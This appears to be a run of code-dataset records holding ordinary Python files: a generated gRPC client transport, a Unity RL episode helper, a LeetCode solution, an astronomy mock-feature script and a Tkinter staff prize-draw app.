function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if 'replace_service_perimeters' not in self._stubs:\n self._stubs['replace_service_perimeters'] = self.grpc_channel.unary_unary(\n '/google.identity.accesscontextmanager.v1.AccessContextManager/ReplaceServicePerimeters',\n request_serializer=access_context_manager.ReplaceServicePerimetersRequest.serialize,\n response_deserializer=operations_pb2.Operation.FromString,\n )\n return self._stubs['replace_service_perimeters']\n\n @property\n def commit_service_perimeters(self) -> Callable[\n [access_context_manager.CommitServicePerimetersRequest],\n operations_pb2.Operation]:\n r\"\"\"Return a callable for the commit service perimeters method over gRPC.\n\n Commit the dry-run spec for all the [Service Perimeters]\n [google.identity.accesscontextmanager.v1.ServicePerimeter] in an\n [Access\n Policy][google.identity.accesscontextmanager.v1.AccessPolicy]. A\n commit operation on a Service Perimeter involves copying its\n ``spec`` field to that Service Perimeter's ``status`` field.\n Only [Service Perimeters]\n [google.identity.accesscontextmanager.v1.ServicePerimeter] with\n ``use_explicit_dry_run_spec`` field set to true are affected by\n a commit operation. The longrunning operation from this RPC will\n have a successful status once the dry-run specs for all the\n [Service Perimeters]\n [google.identity.accesscontextmanager.v1.ServicePerimeter] have\n been committed. If a commit fails, it will cause the longrunning\n operation to return an error response and the entire commit\n operation will be cancelled. When successful, Operation.response\n field will contain CommitServicePerimetersResponse. The\n ``dry_run`` and the ``spec`` fields will be cleared after a\n successful commit operation.\n\n Returns:\n Callable[[~.CommitServicePerimetersRequest],\n ~.Operation]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if 'commit_service_perimeters' not in self._stubs:\n self._stubs['commit_service_perimeters'] = self.grpc_channel.unary_unary(\n '/google.identity.accesscontextmanager.v1.AccessContextManager/CommitServicePerimeters',\n request_serializer=access_context_manager.CommitServicePerimetersRequest.serialize,\n response_deserializer=operations_pb2.Operation.FromString,\n )\n return self._stubs['commit_service_perimeters']\n\n @property\n def list_gcp_user_access_bindings(self) -> Callable[\n [access_context_manager.ListGcpUserAccessBindingsRequest],\n access_context_manager.ListGcpUserAccessBindingsResponse]:\n r\"\"\"Return a callable for the list gcp user access bindings method over gRPC.\n\n Lists all [GcpUserAccessBindings]\n [google.identity.accesscontextmanager.v1.GcpUserAccessBinding]\n for a Google Cloud organization.\n\n Returns:\n Callable[[~.ListGcpUserAccessBindingsRequest],\n ~.ListGcpUserAccessBindingsResponse]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if 'list_gcp_user_access_bindings' not in self._stubs:\n self._stubs['list_gcp_user_access_bindings'] = self.grpc_channel.unary_unary(\n '/google.identity.accesscontextmanager.v1.AccessContextManager/ListGcpUserAccessBindings',\n request_serializer=access_context_manager.ListGcpUserAccessBindingsRequest.serialize,\n response_deserializer=access_context_manager.ListGcpUserAccessBindingsResponse.deserialize,\n )\n return self._stubs['list_gcp_user_access_bindings']\n\n @property\n def get_gcp_user_access_binding(self) -> Callable[\n [access_context_manager.GetGcpUserAccessBindingRequest],\n gcp_user_access_binding.GcpUserAccessBinding]:\n r\"\"\"Return a callable for the get gcp user access binding method over gRPC.\n\n Gets the [GcpUserAccessBinding]\n [google.identity.accesscontextmanager.v1.GcpUserAccessBinding]\n with the given name.\n\n Returns:\n Callable[[~.GetGcpUserAccessBindingRequest],\n ~.GcpUserAccessBinding]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if 'get_gcp_user_access_binding' not in self._stubs:\n self._stubs['get_gcp_user_access_binding'] = self.grpc_channel.unary_unary(\n '/google.identity.accesscontextmanager.v1.AccessContextManager/GetGcpUserAccessBinding',\n request_serializer=access_context_manager.GetGcpUserAccessBindingRequest.serialize,\n response_deserializer=gcp_user_access_binding.GcpUserAccessBinding.deserialize,\n )\n return self._stubs['get_gcp_user_access_binding']\n\n @property\n def create_gcp_user_access_binding(self) -> Callable[\n [access_context_manager.CreateGcpUserAccessBindingRequest],\n operations_pb2.Operation]:\n r\"\"\"Return a callable for the create gcp user access binding method over gRPC.\n\n Creates a [GcpUserAccessBinding]\n [google.identity.accesscontextmanager.v1.GcpUserAccessBinding].\n If the client specifies a [name]\n [google.identity.accesscontextmanager.v1.GcpUserAccessBinding.name],\n the server will ignore it. Fails if a resource already exists\n with the same [group_key]\n [google.identity.accesscontextmanager.v1.GcpUserAccessBinding.group_key].\n Completion of this long-running operation does not necessarily\n signify that the new binding is deployed onto all affected\n users, which may take more time.\n\n Returns:\n Callable[[~.CreateGcpUserAccessBindingRequest],\n ~.Operation]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if 'create_gcp_user_access_binding' not in self._stubs:\n self._stubs['create_gcp_user_access_binding'] = self.grpc_channel.unary_unary(\n '/google.identity.accesscontextmanager.v1.AccessContextManager/CreateGcpUserAccessBinding',\n request_serializer=access_context_manager.CreateGcpUserAccessBindingRequest.serialize,\n response_deserializer=operations_pb2.Operation.FromString,\n )\n return self._stubs['create_gcp_user_access_binding']\n\n @property\n def update_gcp_user_access_binding(self) -> Callable[\n [access_context_manager.UpdateGcpUserAccessBindingRequest],\n operations_pb2.Operation]:\n r\"\"\"Return a callable for the update gcp user access binding method over gRPC.\n\n Updates a [GcpUserAccessBinding]\n [google.identity.accesscontextmanager.v1.GcpUserAccessBinding].\n Completion of this long-running operation does not necessarily\n signify that the changed binding is deployed onto all affected\n users, which may take more time.\n\n Returns:\n Callable[[~.UpdateGcpUserAccessBindingRequest],\n ~.Operation]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if 'update_gcp_user_access_binding' not in self._stubs:\n self._stubs['update_gcp_user_access_binding'] = self.grpc_channel.unary_unary(\n '/google.identity.accesscontextmanager.v1.AccessContextManager/UpdateGcpUserAccessBinding',\n request_serializer=access_context_manager.UpdateGcpUserAccessBindingRequest.serialize,\n response_deserializer=operations_pb2.Operation.FromString,\n )\n return self._stubs['update_gcp_user_access_binding']\n\n @property\n def delete_gcp_user_access_binding(self) -> Callable[\n [access_context_manager.DeleteGcpUserAccessBindingRequest],\n operations_pb2.Operation]:\n r\"\"\"Return a callable for the delete gcp user access binding method over gRPC.\n\n Deletes a [GcpUserAccessBinding]\n [google.identity.accesscontextmanager.v1.GcpUserAccessBinding].\n Completion of this long-running operation does not necessarily\n signify that the binding deletion is deployed onto all affected\n users, which may take more time.\n\n Returns:\n Callable[[~.DeleteGcpUserAccessBindingRequest],\n ~.Operation]:\n A function that, when called, will call the underlying RPC\n on the server.\n \"\"\"\n # Generate a \"stub function\" on-the-fly which will actually make\n # the request.\n # gRPC handles serialization and deserialization, so we just need\n # to pass in the functions for each.\n if 'delete_gcp_user_access_binding' not in self._stubs:\n self._stubs['delete_gcp_user_access_binding'] = self.grpc_channel.unary_unary(\n '/google.identity.accesscontextmanager.v1.AccessContextManager/DeleteGcpUserAccessBinding',\n request_serializer=access_context_manager.DeleteGcpUserAccessBindingRequest.serialize,\n response_deserializer=operations_pb2.Operation.FromString,\n )\n return self._stubs['delete_gcp_user_access_binding']\n\n\n__all__ = (\n 'AccessContextManagerGrpcTransport',\n)\n","sub_path":"google/identity/accesscontextmanager/v1/identity-accesscontextmanager-v1-py/google/identity/accesscontextmanager_v1/services/access_context_manager/transports/grpc.py","file_name":"grpc.py","file_ext":"py","file_size_in_byte":48575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"384350250","text":"from functools import partial\n\nimport numpy as np\n\nfrom agent import Agent\n\n\ndef get_agent_requirements(env):\n brain_name = env.brain_names[0]\n brain = env.brains[brain_name]\n\n env_info = env.reset(train_mode=True)[brain_name]\n\n action_size = brain.vector_action_space_size\n assert len(env_info.vector_observations) == 2, \"Must be a two player game\"\n state = env_info.vector_observations[0]\n state_size = len(state)\n\n return brain_name, state_size, action_size\n\ndef augment_state(state):\n # ids = np.array([[-1], [1]], dtype=np.float64)\n # return np.concatenate([state, ids], axis=1)\n return state\n\n\ndef unity_episode(env, agent: Agent, brain_name, max_t=10000, train=True):\n assert max_t > 0\n env_info = env.reset(train_mode=train)[brain_name]\n state = augment_state(np.array(env_info.vector_observations))\n score = np.array([0.0, 0.0])\n for t in range(max_t):\n action = agent.policy(state, train)\n env_info = env.step(action)[brain_name]\n next_state = augment_state(np.array(env_info.vector_observations))\n reward = np.array(env_info.rewards)\n done = np.array(env_info.local_done, dtype=np.uint8)\n if train:\n agent.step(state, action, reward, next_state, done)\n state = next_state\n score += reward\n\n if done.any():\n break\n\n agent.end_of_episode(score)\n return t + 1, score.max()\n\n\ndef wrap_env(env, brain_name, train=True):\n return partial(unity_episode, env, brain_name=brain_name, train=train)\n","sub_path":"unity_env.py","file_name":"unity_env.py","file_ext":"py","file_size_in_byte":1540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"55388670","text":"#Given an array of integers and an integer k,\n#you need to find the total number of continuous\n#subarrays whose sum equals to k.\n\n# Example 1:\n# Input:nums = [1,1,1], k = 2\n# Output: 2\n# Note:\n# The length of the array is in range [1, 20,000].\n# The range of numbers in the array is [-1000, 1000]\n# and the range of the integer k is [-1e7, 1e7]\nimport collections\nclass Solution(object):\n\tdef subarraySum(self,nums,k):\n\t\t\"\"\"\n :type nums: List[int]\n :type k: int\n :rtype: int\n \"\"\"\n\t\tcount=collections.Counter()\n\t\tcount[0]=1\n\t\tans=su=0\n\t\tfor x in nums:\n\t\t\tsu+=x\n\t\t\tans+=count[su-k]\n\t\t\tcount[su]+=1\n\t\treturn ans\n\tdef subarraySum1(self,nums,k):\n\t\t\"\"\"\n\t\t:param nums: List[int]\n\t\t:param k: int\n\t\t:return: int\n\t\t\"\"\"\n\t\tcount=collections.Counter()\n\t\tcount[0]=1\n\t\tsumN=0\n\t\tres=0\n\t\tfor n in nums:\n\t\t\tsumN+=n\n\t\t\tres+=count[sumN-k]\n\t\t\tcount[sumN]+=1\n\t\treturn res\n\t\t\n\t\t\nso=Solution()\nnums=[1,1,1]\nk=2\nres=so.subarraySum(nums,k)\nprint(res)","sub_path":"LeetCode/partI/Subarray Sum Equals K/solution2.py","file_name":"solution2.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"38084043","text":"'''\n code to read the healpix map of log-normal mock\n add DR5 features\n -- updates\n June 26: divide the ngal by fracgood to correct for boundaries\n'''\n\nimport numpy as np\nimport healpy as hp\nimport fitsio as ft\n\n# dictionary for the fits file\nHEADER = dict(features='ebv, nstar, depth, seeing, airmass, ccdskymag, exptime rgz',\n fracgood='fracgood',\n hpix='hpix with nside 256',\n label='Ngal')\n\ndef read_write(path2file, path2output, DATA):\n '''\n read path2file and appends the ngal as \n label to path2output\n '''\n cat = hp.read_map(path2file, verbose=False)\n DATA['label'] = cat[DATA['hpix']]/DATA['fracgood'] # fix June 26\n ft.write(path2output, DATA, header=HEADER)\n\ndef loop_filenames(filenames, DATA):\n for file in filenames:\n inputf = file\n outputf = file[:-5]+'.ngal-features.fits' \n read_write(inputf, outputf, DATA) \n \n\n\n# mpi\nfrom mpi4py import MPI\n\n# get the size, and the rank of each mpi task\ncomm = MPI.COMM_WORLD\nsize = comm.Get_size()\nrank = comm.Get_rank()\n\nif rank == 0:\n from glob import glob\n from argparse import ArgumentParser\n ap = ArgumentParser(description='Read BigFile mocks and write .dat')\n ap.add_argument('--hpmap', default='/global/cscratch1/sd/mehdi/mocks/3dbox/')\n ap.add_argument('--ext', default='') \n ap.add_argument('--features', default='/global/cscratch1/sd/mehdi/mocks/dr5mock-features.fits')\n ns = ap.parse_args()\n FILES = glob(ns.hpmap+ns.ext)\n DATA = ft.read(ns.features)\n print('add features on %d data files'%len(FILES))\nelse:\n FILES = None\n DATA = None\n \n# bcast FILES\nFILES = comm.bcast(FILES, root=0)\nDATA = comm.bcast(DATA, root=0)\n\n\n\n#\n# distribute files on different task ids\n# chunksize\nnfiles = len(FILES)\n\nif np.mod(nfiles, size) == 0:\n chunksize = nfiles // size\nelse:\n chunksize = nfiles // size + 1\n\nmy_i = rank*chunksize\nif rank*chunksize + chunksize > nfiles:\n my_end = None\nelse:\n my_end = rank*chunksize + chunksize\nmy_chunk = FILES[my_i:my_end]\n\n\n# print('files on rank {} are {}'.format(rank, my_chunk))\n# for filei in my_chunk:\n# print(filei.split('/')[-1])\n\n\nloop_filenames(my_chunk, DATA)\n","sub_path":"add_features.py","file_name":"add_features.py","file_ext":"py","file_size_in_byte":2295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"38006302","text":"import lzma\r\nimport random\r\nimport tkinter as tk\r\nimport tkinter.ttk as ttk\r\nimport tkinter.messagebox as msgbox\r\nimport json\r\nfrom time import *\r\nimport datetime\r\nimport os\r\nfrom PIL import Image, ImageTk\r\nfrom fbs_config import *\r\n# from configparser import *\r\n\r\n\r\n## ____ _ __ _ ____\r\n## |####`--|#|---|##|---|#|--'##|#|\r\n## _ |____,--|#|---|##|---|#|--.__|_|\r\n## _|#)_____________________________________,--'EEEEEEEEEEEEEE'_=-.\r\n## ((_____((_________________________,--------[JW](___(____(____(_==) _________\r\n## .--|##,----o o o o o o o__|/`---,-,-'=========`=+==@\r\n## Written By louis simpson |##|_Y__,__.-._,__, __,-.___/ J \\ .----.####FINNA####|##|\r\n## And Matthew Brades |##| `-.|#|##|#|`===l##\\ _\\##BE SHAME##|##|\r\n## =======-===l |_|__|_| \\##`-\"__,=======.###|##|\r\n## \\__,\" '======'\r\n\r\n\r\n\r\n\r\n## Main Applictation ##\r\n\r\nclass Application(tk.Frame):\r\n def __init__(self, master=None):\r\n tk.Frame.__init__(self, master)\r\n self.pack()\r\n self.Participants = []\r\n self.Staff = []\r\n self.AddStaff()\r\n self.DrawGUI()\r\n self.Sort()\r\n self.Times = 0 \r\n self.Tmp = []\r\n self.times = 0\r\n self.Who = \"\"\r\n\r\n def DrawGUI(self):\r\n self.Sort()\r\n \r\n #-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#\r\n \r\n self.MakeDraw = ttk.Button(self)\r\n self.MakeDraw[\"text\"] = \"Choose winner\"\r\n self.MakeDraw[\"command\"] = self.ChooseWinner\r\n self.MakeDraw.grid(row=0, column=1)\r\n \r\n self.AddPar = ttk.Button(self)\r\n self.AddPar[\"text\"] = \"+ Add\"\r\n self.AddPar[\"command\"] = self.AddParticipant\r\n self.AddPar.grid(row=1, column=1)\r\n\r\n self.RemovePar = ttk.Button(self)\r\n self.RemovePar[\"text\"] = \"- Remove\"\r\n self.RemovePar[\"command\"] = self.RemoveParticipant\r\n self.RemovePar.grid(row=2, column=1)\r\n \r\n \r\n #-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#\r\n \r\n self.StaffBox = tk.Listbox(self, width=25, height=10, yscrollcommand=True)\r\n for x in range(len(self.Staff)):\r\n self.StaffBox.insert(x, self.GetName(self.Staff[x]))\r\n self.StaffBox.grid(row=1,column=2)\r\n self.StaffBox.bind(\"\", self.ChangePic)\r\n\r\n self.ParticipantBox = tk.Listbox(self, width=25, height=10, yscrollcommand=True)\r\n for x in range(len(self.Participants)):\r\n self.ParticipantBox.insert(x, self.GetName(self.Participants[x]))\r\n self.ParticipantBox.grid(row=1,column=0)\r\n self.ParticipantBox.bind(\"\", self.ChangePic)\r\n\r\n #-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#\r\n\r\n self.StaffBoxLabel = ttk.Label(self, text=\"Available Participants\")\r\n self.StaffBoxLabel.grid(row=0, column=2)\r\n \r\n self.ParticipantBoxLabel = ttk.Label(self, text=\"Current Participants\")\r\n self.ParticipantBoxLabel.grid(row=0, column=0)\r\n \r\n var = \"%d/10 people\" % len(self.Participants)\r\n self.CurrentParticipants = ttk.Label(self, text=var)\r\n self.CurrentParticipants.grid(row=3, column=0)\r\n \r\n \r\n self.SettingsBut = ttk.Button(self, text=\"Settings\", command=self.CallSettings)\r\n self.SettingsBut.grid(row=3, column=2)\r\n\r\n #-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#\r\n\r\n\r\n def ChangePic(self, event=None):\r\n if self.Times == 0:\r\n print()\r\n else:\r\n self.TeacherLabel.grid_forget()\r\n self.piclabel.grid_forget()\r\n self.WinTimes.grid_forget() \r\n \r\n #-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#\r\n self.Tmp = []\r\n try:\r\n self.Tmp.append(self.StaffBox.curselection()[0])\r\n self.foo = self.Staff[self.Tmp[0]][\"photo\"]\r\n UseParticipants = False\r\n except IndexError: # Person selected in Participants\r\n self.Tmp = []\r\n self.Tmp.append(self.ParticipantBox.curselection()[0])\r\n self.foo = self.Participants[self.Tmp[0]][\"photo\"]\r\n UseParticipants = True\r\n \r\n self.foo = \"data/%s\" % self.foo\r\n print(self.foo)\r\n \r\n try:\r\n self.pic = Image.open(self.foo)\r\n except FileNotFoundError:\r\n self.pic = Image.open(Default_picture)\r\n finally:\r\n try:\r\n self.pic.thumbnail((128,128), Image.ANTIALIAS)\r\n self.bar = ImageTk.PhotoImage(image=self.pic)\r\n self.piclabel = tk.Label(self, image=self.bar)\r\n self.piclabel.grid(row=1, column=4)\r\n except:\r\n self.ErrorMsg = ttk.Label(self, text=\"Error in config.\", foreground=\"red\", anchor=\"center\", font=(\"Adobe Gothic Std B\", 20))\r\n self.ErrorMsg.grid(row=1, column=4)\r\n \r\n \r\n #-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#\r\n\r\n if UseParticipants:\r\n wva = self.Participants[self.Tmp[0]][\"won\"]\r\n else:\r\n wva = self.Staff[self.Tmp[0]][\"won\"]\r\n\r\n wvar = \"Times Won Before: %d\" % (wva)\r\n print(\"Times Won: %d\" % wva)\r\n self.WinTimes = ttk.Label(self, text=wvar)\r\n self.WinTimes.grid(row=2,column=4)\r\n \r\n #-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#\r\n\r\n if UseParticipants:\r\n nam = self.Participants[self.Tmp[0]][\"name\"]\r\n else:\r\n nam = self.Staff[self.Tmp[0]][\"name\"]\r\n\r\n self.TeacherLabel = ttk.Label(self, text=nam)\r\n self.TeacherLabel.grid(row=0, column=4)\r\n \r\n #-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-# \r\n \r\n \r\n self.Times = self.Times + 1 \r\n\r\n \r\n #-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#\r\n \r\n def Sort(self):\r\n self.Staff.sort(key=self.GetNameLowercase)\r\n self.Participants.sort(key=self.GetNameLowercase)\r\n \r\n def ChooseWinner(self):\r\n \r\n if len(self.Participants) != 10:\r\n msgbox.showerror(title=\"Need 10 People\", message=\"You need 10 people exactly\")\r\n else:\r\n ########################################\r\n l = sorted(self.Participants, key=self.WinNumberWithRandom)\r\n for x in l:\r\n print(x)\r\n print(\"---------------------------------------------------------------------------\")\r\n winner = l[0]\r\n winner_index = self.Participants.index(winner)\r\n ########################################\r\n msg = \"Winner is %s, who has won %d times before\" % (self.GetName(winner), self.GetWinNumber(winner))\r\n self.times = self.times + 1\r\n timd = \"Winner | Run:%d\" % self.times\r\n msgbox.showinfo(title=timd, message=msg)\r\n self.Participants[winner_index][\"won\"] += 1\r\n things = datetime.datetime.today()\r\n self.Participants[winner_index][\"date\"] = things.strftime(\"%B %Y\")\r\n print(self.Participants[winner_index][\"date\"])\r\n SaveWinners()\r\n\r\n def AddStaff(self):\r\n with lzma.open(\"data/staff.txt.xz\", \"r\") as f:\r\n self.Staff = json.loads(f.read().decode(\"utf-8\"))\r\n self.Sort()\r\n\r\n def AddParticipant(self, event=None):\r\n if len(self.Participants) < 10:\r\n self.Participants.append(self.Staff.pop(self.StaffBox.curselection()[0]))\r\n self.DrawGUI() # Redraw GUI\r\n #print(self.Participants)\r\n else:\r\n msgbox.showerror(title=\"Nope\", message=\"You have reached maximum capacity\")\r\n \r\n def RemoveParticipant(self, event=None):\r\n self.Staff.append(self.Participants.pop(self.ParticipantBox.curselection()[0]))\r\n self.DrawGUI() # Redraw GUI\r\n\r\n def GetName(self, item):\r\n return item[\"name\"]\r\n\r\n def GetNameLowercase(self, item):\r\n return item[\"name\"].lower()\r\n\r\n def GetWinNumber(self, item):\r\n return item[\"won\"]\r\n\r\n def GetPhoto(self, item):\r\n return item[\"photo\"]\r\n \r\n def CallSettings(self):\r\n self.t = tk.Toplevel(self.master)\r\n self.s = Settings(self.t)\r\n self.s.Settings()\r\n\r\n def WinNumberWithRandom(self, item):\r\n return item[\"won\"] + random.random()\r\n \r\n## Staff Manager ## \r\n \r\nclass Settings(tk.Frame):\r\n def __init__(self, master=None):\r\n tk.Frame.__init__(self, master)\r\n self.grid()\r\n self.Staff = []\r\n self.tmp = []\r\n for x in app.Participants:\r\n app.Staff.append(x)\r\n app.Participants = []\r\n app.DrawGUI()\r\n self.TimesS = 0\r\n master.wm_iconbitmap(Settings_Window_icon)\r\n master.title(Settings_window_title)\r\n \r\n def Settings(self):\r\n \r\n self.SettingsStaffBox = tk.Listbox(self, width=25, height=10, yscrollcommand=True)\r\n for x in range(len(app.Staff)):\r\n self.SettingsStaffBox.insert(x, app.GetName(app.Staff[x]))\r\n self.SettingsStaffBox.grid(row=3,column=0)\r\n self.SettingsStaffBox.bind(\"\", self.editStaffMember)\r\n self.SettingsStaffBox.bind(\"\", self.updateS)\r\n \r\n\r\n self.AddStaffMemberLbl = ttk.Label(self, text=\"Add Staff Member\")\r\n self.AddStaffMemberLbl.grid(row=0, column=0)\r\n \r\n self.AddStaffMemberLblName = ttk.Label(self, text=\"Name:\")\r\n self.AddStaffMemberLblName.grid(row=0, column=1) \r\n \r\n self.AddStaffMemberLblPhoto = ttk.Label(self, text=\"Photo:\")\r\n self.AddStaffMemberLblPhoto.grid(row=1, column=1) \r\n\r\n self.AddStaffMember = ttk.Entry(self)\r\n self.AddStaffMember.grid(row=0, column=2)\r\n self.AddStaffMember.bind(\"\", self.GetText)\r\n self.AddStaffMember.insert(0, \"name\") \r\n \r\n self.AddStaffMemberPhoto = ttk.Entry(self)\r\n self.AddStaffMemberPhoto.grid(row=1, column=2)\r\n self.AddStaffMemberPhoto.insert(0, \"data/example.jpg\")\r\n self.AddStaffMemberPhoto.bind(\"\", self.GetText)\r\n\r\n self.RemoveStaff = ttk.Button(self, text=\"Remove\", command=self.RemoveStaffMember)\r\n self.RemoveStaff.grid(row=4, column=0)\r\n \r\n \r\n \r\n self.Sep = ttk.Label(self, text=\"----------------------------------\")\r\n self.Sep.grid(row=2,column=0)\r\n self.Sep2 = ttk.Label(self, text=\"----------------------------------\")\r\n self.Sep2.grid(row=2,column=1)\r\n self.Sep2 = ttk.Label(self, text=\"----------------------------------\")\r\n self.Sep2.grid(row=2,column=2)\r\n \r\n self.Instruct = ttk.Label(self, text=\"Double Click = Select\")\r\n self.Instruct.grid(row=4,column=1)\r\n\r\n def updateS(self, event=None):\r\n self.AddPhoto.grid_forget()\r\n self.AddStaffMemberLblName.grid_forget()\r\n self.NameLbl.grid_forget()\r\n \r\n \r\n \r\n def editStaffMember(self, event=None):\r\n self.Selection = self.SettingsStaffBox.curselection()[0]\r\n \r\n if self.TimesS == 0:\r\n pass\r\n else:\r\n self.NameLbl.grid_forget()\r\n self.tmp = []\r\n self.AddStaffMemberLblName = ttk.Label(self, text=\"Edit existing:\")\r\n self.AddStaffMemberLblName.grid(row=3, column=1) \r\n \r\n self.AddPhoto = ttk.Entry(self)\r\n self.AddPhoto.grid(row=3,column=2)\r\n self.AddPhoto.bind(\"\", self.SetPhoto)\r\n self.AddPhoto.insert(0, app.Staff[self.Selection][\"photo\"])\r\n \r\n self.tmp.append(self.SettingsStaffBox.curselection()[0])\r\n blah = \"Selected: %s\" % app.Staff[self.tmp[0]][\"name\"]\r\n self.NameLbl = ttk.Label(self, text=blah)\r\n self.NameLbl.grid(row=4,column=2)\r\n self.TimesS = self.TimesS + 1\r\n \r\n def RemoveStaffMember(self, event=None):\r\n app.Staff.pop(self.SettingsStaffBox.curselection()[0])\r\n SaveSettings()\r\n app.DrawGUI()\r\n self.Settings()\r\n self.updateS()\r\n \r\n def SetPhoto(self, event=None):\r\n norris = self.AddPhoto.get()\r\n app.Staff[self.Selection][\"photo\"] = norris\r\n SaveSettings()\r\n \r\n \r\n def GetText(self, event=None):\r\n self.NewMember = self.AddStaffMember.get()\r\n self.NewMemberPhoto = self.AddStaffMemberPhoto.get()\r\n self.AddNewMember()\r\n \r\n def AddNewMember(self):\r\n self.Staff.append({'name': self.NewMember, 'won': 0, 'photo': self.NewMemberPhoto})\r\n print(self.Staff)\r\n SaveSettings()\r\n app.DrawGUI()\r\n self.Settings()\r\n\r\ndef Save():\r\n print(\"Saving\")\r\n with lzma.open(\"data/staff.txt.xz\", \"w\") as f:\r\n for x in app.Participants:\r\n app.Staff.append(x)\r\n #a = json.dumps(app.Staff)\r\n #print(a)\r\n f.write(json.dumps(app.Staff).encode(\"utf-8\"))\r\n\r\n try:\r\n\r\n things = datetime.datetime.today()\r\n thing = things.strftime(\"%B %Y\")\r\n print(\"Date Today: %s\" % thing)\r\n filename = \"%s.txt\" % thing\r\n\r\n d = open(filename, \"w\")\r\n \r\n d.write(\"Wins this month\\n\\n\")\r\n \r\n lis = []\r\n for x in range(len(app.Staff)):\r\n lis.append(app.Staff[x])\r\n if app.Staff[x][\"date\"] == thing:\r\n d.write(\"Name: %s Times Won: %d\\n\" % (app.Staff[x][\"name\"],app.Staff[x][\"won\"]))\r\n else:\r\n pass\r\n\r\n \r\n finally:\r\n app.destroy()\r\n root.destroy()\r\n\r\ndef SaveSettings():\r\n print(\"Saving\")\r\n tmp = []\r\n with lzma.open(\"data/staff.txt.xz\", \"w\") as f:\r\n for x in app.s.Staff:\r\n app.Staff.append(x)\r\n tmp.append(x)\r\n for x in app.Staff:\r\n tmp.append(x)\r\n for x in app.Participants:\r\n tmp.append(x)\r\n app.s.Staff = []\r\n f.write(json.dumps(tmp).encode(\"utf-8\"))\r\n\r\ndef SaveWinners():\r\n print(\"Saving\")\r\n tmp = []\r\n with lzma.open(\"data/staff.txt.xz\", \"w\") as f:\r\n for x in app.Staff:\r\n tmp.append(x)\r\n for x in app.Participants:\r\n tmp.append(x)\r\n f.write(json.dumps(tmp).encode(\"utf-8\"))\r\n## Initialization ##\r\n\r\n## Initialise Tk\r\nroot = tk.Tk()\r\n## Minimum window size\r\nroot.wm_minsize(600,225)\r\n## Create Application using tk window\r\napp = Application(master=root)\r\n## Window deletion code\r\nroot.wm_protocol(\"WM_DELETE_WINDOW\", Save)\r\n##\r\napp.master[\"bg\"] = Master_background_colour\r\n## Title of program\r\napp.master.title(Main_window_title)\r\n## Set Icon for main window\r\nroot.wm_iconbitmap('data/choc.ico')\r\n## Run Program\r\napp.mainloop()","sub_path":"challenge.py","file_name":"challenge.py","file_ext":"py","file_size_in_byte":14957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"630422583","text":"# -*- coding: iso-8859-1 -*-\nfrom shutil import copy2\nimport shutil\nimport os\nimport xml.etree.ElementTree\nimport cv2\nimport argparse\n\n\next = '.jpg'\ndstext = '.jpg'\npostfix = ''\n\nfl32_intersection = [\"adidas-text\", \"adidas1\", \"adidas2\", \"adidas3\", \"aldi\", \"aldi-text\", \"aldinord\", \"apple\",\n \"becks\", \"becks-symbol\", \"bmw\", \"carlsberg\", \"coca-cola\", \"coke\", \"corona-text\", \"corona-symbol\",\n \"dhl\", \"esso\", \"esso-text\", \"federalexpress\", \"fedex\", \"ferrari\", \"ford-symbol\", \"google-text\",\n \"google+\", \"google-symbol\", \"guinness\", \"heineken\", \"hp\", \"milka\", \"nvidia\", \"paulaner\",\n \"pepsi-text\", \"pepsi-symbol\", \"shell-symbol\", \"shell-text\", \"starbucks-text\", \"starbucks-symbol\",\n \"stellaartois\", \"tsingtao\", \"ups\"]\n\ndef parse_args():\n \"\"\"\n Parse input arguments\n \"\"\"\n parser = argparse.ArgumentParser(description='Test a Fast R-CNN network')\n parser.add_argument('--in', dest='inpath', help='Path of the original dataset\\'s data folder to be cleaned. It won\\'t be modified.',\n default=None, type=str, required=True)\n parser.add_argument('--out', dest='outpath',\n help='Path where the cleaned dataset will be copied.',\n default=None, type=str, required=True)\n parser.add_argument('--wofl32', dest='wofl32',\n help='Generate the dataset without the classes of FlickrLogos32.',\n action='store_true', default=False)\n parser.add_argument('--roi', dest='roi',\n help='Writes the rois out for each brands separately.',\n action='store_true', default=False)\n\n parser.add_argument('--commonformat', dest='commonformat',\n help='Writes the dataset also to a common Faster R-CNN format out.',\n action='store_true', default=False)\n args = 